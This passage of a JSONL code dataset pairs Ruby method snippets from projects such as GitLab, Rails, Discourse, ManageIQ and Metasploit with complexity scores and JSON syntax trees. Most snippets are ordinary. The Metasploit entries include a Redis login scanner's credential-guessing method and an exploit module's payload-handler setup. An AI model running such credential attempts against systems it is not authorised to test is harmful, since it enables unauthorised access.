end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"add_field\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attrs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"field\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Field\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"step=\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fields\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"field\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"field\"]}]}]}","id":"892601d4-4e05-4df1-93d3-feb200d8d09f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/serializers/group_child_serializer.rb","start_line":39,"raw_source":"def represent_hierarchy(hierarchy, opts)\n    serializer = self.class.new(params)\n\n    case hierarchy\n    when Hash\n      hierarchy.map do |parent, children|\n        serializer.represent(parent, opts)\n          .merge(children: Array.wrap(serializer.represent_hierarchy(children, opts)))\n      end\n    when Array\n      hierarchy.flat_map { |child| serializer.represent_hierarchy(child, opts) }\n    else\n      serializer.represent(hierarchy, opts)\n    end\n  end","complexity_score":20.8,"ast_json":"{\"type\":\"def\",\"children\":[\"represent_hierarchy\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hierarchy\"]},{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"serializer\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"params\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hierarchy\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hierarchy\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent\"]},{\"type\":\"arg\",\"children\":[\"children\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"serializer\"]},\"represent\",{\"type\":\"lvar\",\"children\":[\"parent\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"children\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"serializer\"]},\"represent_hierarchy\",{\"type\":\"lvar\",\"children\":[\"children\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hierarchy\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"child\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"serializer\"]},\"represent_hierarchy\",{\"type\":\"lvar\",\"children\":[\"child\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"serializer\"]},\"represent\",{\"type\":\"lvar\",\"children\":[\"hierarchy\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}]}","id":"a3423374-b21c-4d7b-94c3-9808d8a04fa4"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/user_menu.rb","start_line":72,"raw_source":"def has_user_username_mentioned_notification?(topic, user_that_mentioned)\n        expect(find(\"#quick-access-replies .mentioned\").text).to eq(\n          \"#{user_that_mentioned.username}\\n#{topic.title}\",\n        )\n      end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_user_username_mentioned_notification?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic\"]},{\"type\":\"arg\",\"children\":[\"user_that_mentioned\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\"#quick-access-replies .mentioned\"]}]},\"text\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_that_mentioned\"]},\"username\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"title\"]}]}]}]}]}]}","id":"79005459-e0b6-4715-a7d3-a8146ebc9e5c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/bulk_imports/lfs_objects_export_service.rb","start_line":41,"raw_source":"def save_lfs_object(lfs_object)\n      destination_filepath = File.join(export_path, lfs_object.oid)\n\n      if lfs_object.local_store?\n        return unless File.exist?(lfs_object.file.path)\n\n        copy_files(lfs_object.file.path, destination_filepath)\n      else\n        download(lfs_object.file.url, destination_filepath)\n      end\n    end","complexity_score":19.9,"ast_json":"{\"type\":\"def\",\"children\":[\"save_lfs_object\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lfs_object\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"destination_filepath\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"export_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lfs_object\"]},\"oid\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lfs_object\"]},\"local_store?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lfs_object\"]},\"file\"]},\"path\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"copy_files\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lfs_object\"]},\"file\"]},\"path\"]},{\"type\":\"lvar\",\"children\":[\"destination_filepath\"]}]}]},{\"type\":\"send\",\"children\":[null,\"download\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lfs_object\"]},\"file\"]},\"url\"]},{\"type\":\"lvar\",\"children\":[\"destination_filepath\"]}]}]}]}]}","id":"9573ba60-4a1c-4b6a-8f41-82675f4a9d66"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/dnn_cookie_deserialization_rce.rb","start_line":20,"raw_source":"def setup\n    # Reset the session counts to zero.\n    reset_session_counts\n\n    return if !payload_instance\n    return if !handler_enabled?\n\n    # Configure the payload handler\n    payload_instance.exploit_config = {\n      'active_timeout' => active_timeout\n    }\n\n    # payload handler is normally set up and started here\n    # but has been removed so we can start the handler when needed.\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reset_session_counts\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload_instance\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"handler_enabled?\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload_instance\"]},\"exploit_config=\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"active_timeout\"]},{\"type\":\"send\",\"children\":[null,\"active_timeout\"]}]}]}]}]}]}","id":"64b630ee-2b2a-47a3-a659-56027550d1a0"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/connection_pool_test.rb","start_line":1739,"raw_source":"def new_thread(*args, &block)\n          ThreadlikeFiber.new(*args, &block)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"new_thread\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ThreadlikeFiber\"]},\"new\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"0c9e0d40-538e-4589-a140-d5aadb30e823"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/filters_test.rb","start_line":572,"raw_source":"def test_after_actions_are_not_run_if_around_action_does_not_yield\n    controller = NonYieldingAroundFilterController.new\n    test_process(controller, \"index\")\n    assert_equal [\"filter_one\", \"it didn't yield\"], controller.instance_variable_get(:@filters)\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_after_actions_are_not_run_if_around_action_does_not_yield\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"controller\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NonYieldingAroundFilterController\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"test_process\",{\"type\":\"lvar\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"index\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"filter_one\"]},{\"type\":\"str\",\"children\":[\"it didn't yield\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@filters\"]}]}]}]}]}","id":"79ac17a0-fb49-47e9-8b6a-1b6d3dde6d53"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/proxy/socks5/packet.rb","start_line":29,"raw_source":"def address=(value)\n      if Rex::Socket.is_ipv4?(value)\n        address_type.assign(ADDRESS_TYPE_IPV4)\n        domainname_length.assign(0)\n        value = Rex::Socket.addr_aton(value)\n      elsif Rex::Socket.is_ipv6?(value)\n        address_type.assign(ADDRESS_TYPE_IPV6)\n        domainname_length.assign(0)\n        value = Rex::Socket.addr_aton(value)\n      else\n        address_type.assign(ADDRESS_TYPE_DOMAINNAME)\n        domainname_length.assign(value.length)\n      end\n      address_array.assign(value.unpack('C*'))\n    end","complexity_score":30.5,"ast_json":"{\"type\":\"def\",\"children\":[\"address=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"is_ipv4?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"address_type\"]},\"assign\",{\"type\":\"const\",\"children\":[null,\"ADDRESS_TYPE_IPV4\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"domainname_length\"]},\"assign\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"addr_aton\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"is_ipv6?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"address_type\"]},\"assign\",{\"type\":\"const\",\"children\":[null,\"ADDRESS_TYPE_IPV6\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"domainname_length\"]},\"assign\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"addr_aton\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"address_type\"]},\"assign\",{\"type\":\"const\",\"children\":[null,\"ADDRESS_TYPE_DOMAINNAME\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"domainname_length\"]},\"assign\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"length\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"address_array\"]},\"assign\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"C*\"]}]}]}]}]}","id":"9eb845f6-7356-474f-ad23-bbdd2b46e63b"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_region.rb","start_line":176,"raw_source":"def role_active?(role_name)\n    active_miq_servers.any? { |s| s.has_active_role?(role_name) }\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"role_active?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"role_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_miq_servers\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"has_active_role?\",{\"type\":\"lvar\",\"children\":[\"role_name\"]}]}]}]}","id":"4c5a985b-7620-4805-902d-ce838711c85e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/bulk_insert_safe.rb","start_line":240,"raw_source":"def _bulk_insert_saved_from_belongs_to?(name, args)\n      args.first == :before && args.second.to_s.start_with?('autosave_associated_records_for_')\n    end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"_bulk_insert_saved_from_belongs_to?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"first\"]},\"==\",{\"type\":\"sym\",\"children\":[\"before\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"second\"]},\"to_s\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"autosave_associated_records_for_\"]}]}]}]}","id":"f6bcf5a3-3d7b-444a-ad77-7839111131b2"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_schedule.rb","start_line":167,"raw_source":"def run_at_to_human(timezone)\n    start_time = run_at[:start_time].in_time_zone(timezone)\n    start_time = start_time.strftime(\"%a %b %d %H:%M:%S %Z %Y\")\n\n    case run_at[:interval][:unit]\n    when \"minutely\"\n      unit = _(\"minutes\")\n      interval = _(\"minutely\")\n    when \"hourly\"\n      unit = _(\"hours\")\n      interval = _(\"hourly\")\n    when \"daily\"\n      unit = _(\"days\")\n      interval = _(\"daily\")\n    when \"weekly\"\n      unit = _(\"weeks\")\n      interval = _(\"weekly\")\n    when \"monthly\"\n      unit = _(\"months\")\n      interval = _(\"monthly\")\n    else\n      interval = run_at[:interval][:unit]\n    end\n\n    if run_at[:interval][:unit].downcase == \"once\"\n      _(\"Run %{interval} on %{start_time}\") % {:interval => interval, :start_time => start_time}\n    else\n      if run_at[:interval][:value].to_i == 1\n        _(\"Run %{interval} starting on %{start_time}\") % {:interval   => interval,\n                                                                 :start_time => start_time}\n      else\n        _(\"Run %{interval} every %{value} %{unit} starting on %{start_time}\") %\n                 {:interval   => interval,\n                  :value      => run_at[:interval][:value],\n                  :unit       => unit,\n                  :start_time => start_time}\n      end\n    end\n  end","complexity_score":75.03,"ast_json":"{\"type\":\"def\",\"children\":[\"run_at_to_human\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"timezone\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"start_time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_at\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"start_time\"]}]},\"in_time_zone\",{\"type\":\"lvar\",\"children\":[\"timezone\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"start_time\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start_time\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%a %b %d %H:%M:%S %Z %Y\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_at\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"interval\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"unit\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"minutely\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"unit\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"minutes\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"interval\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"minutely\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"hourly\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"unit\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"hours\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"interval\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"hourly\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"daily\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"unit\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"days\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"interval\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"daily\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"weekly\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"unit\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"weeks\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"interval\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"weekly\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"monthly\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"unit\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"months\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"interval\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"monthly\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"interval\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_at\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"interval\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"unit\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_at\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"interval\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"unit\"]}]},\"downcase\"]},\"==\",{\"type\":\"str\",\"children\":[\"once\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Run %{interval} on %{start_time}\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"interval\"]},{\"type\":\"lvar\",\"children\":[\"interval\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_time\"]},{\"type\":\"lvar\",\"children\":[\"start_time\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_at\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"interval\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]},\"to_i\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Run %{interval} starting on %{start_time}\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"interval\"]},{\"type\":\"lvar\",\"children\":[\"interval\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_time\"]},{\"type\":\"lvar\",\"children\":[\"start_time\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Run %{interval} every %{value} %{unit} starting on %{start_time}\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"interval\"]},{\"type\":\"lvar\",\"children\":[\"interval\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_at\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"interval\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unit\"]},{\"type\":\"lvar\",\"children\":[\"unit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_time\"]},{\"type\":\"lvar\",\"children\":[\"start_time\"]}]}]}]}]}]}]}]}","id":"e7e7be12-a079-41e3-851e-5292a76c1802"}
{"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/cli.rb","start_line":310,"raw_source":"def run\n        @theme.render(&method(:puts))\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@theme\"]},\"render\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"puts\"]}]}]}]}]}","id":"451b3459-f94e-40ff-bffd-cef6eb7ef8cc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/validators/abstract_path_validator.rb","start_line":23,"raw_source":"def validate_each(record, attribute, value)\n    unless self.class.format_regex.match?(value)\n      record.errors.add(attribute, self.class.format_error_message)\n      return\n    end\n\n    if build_full_path_to_validate_against_reserved_names?\n      path_to_validate_against_reserved_names = record.build_full_path\n      return unless path_to_validate_against_reserved_names\n    else\n      path_to_validate_against_reserved_names = value\n    end\n\n    unless self.class.valid_path?(path_to_validate_against_reserved_names)\n      record.errors.add(attribute, \"#{value} is a reserved name\")\n    end\n  end","complexity_score":22.5,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_each\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"format_regex\"]},\"match?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"format_error_message\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build_full_path_to_validate_against_reserved_names?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path_to_validate_against_reserved_names\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"build_full_path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_to_validate_against_reserved_names\"]},null,{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path_to_validate_against_reserved_names\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"valid_path?\",{\"type\":\"lvar\",\"children\":[\"path_to_validate_against_reserved_names\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"str\",\"children\":[\" is a reserved name\"]}]}]}]}]}]}","id":"34d55172-c7fd-4dd3-8c38-0e38f5b2dc01"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/login_scanner/redis.rb","start_line":66,"raw_source":"def attempt_login(credential)\n          result_options = {\n            credential: credential,\n            status: Metasploit::Model::Login::Status::INCORRECT,\n            host: host,\n            port: port,\n            protocol: 'tcp',\n            service_name: 'redis'\n          }\n\n          disconnect if sock\n\n          begin\n            connect\n            select([sock], nil, nil, 0.4)\n\n            # Skip this call if we're dealing with an older redis version.\n            response = authenticate(credential.public.to_s, credential.private.to_s) unless @older_redis\n\n            # If we're dealing with an older redis version or the previous call failed,\n            # try the backwards compatibility call instead.\n            # We also set the @older_redis to true if we haven't as we might be entering this\n            # block from the match response.\n            if @older_redis || (response && response.match(::Rex::Proto::Redis::Base::Constants::WRONG_ARGUMENTS_FOR_AUTH))\n              @older_redis ||= true\n              response = authenticate_pre_v6(credential.private.to_s)\n            end\n\n            result_options[:proof] = response\n            result_options[:status] = validate_login(result_options[:proof])\n          rescue Rex::ConnectionError, EOFError, Timeout::Error, Errno::EPIPE => e\n            result_options.merge!(\n              proof: e,\n              status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT\n            )\n          end\n\n          disconnect if sock\n\n          ::Metasploit::Framework::LoginScanner::Result.new(result_options)\n        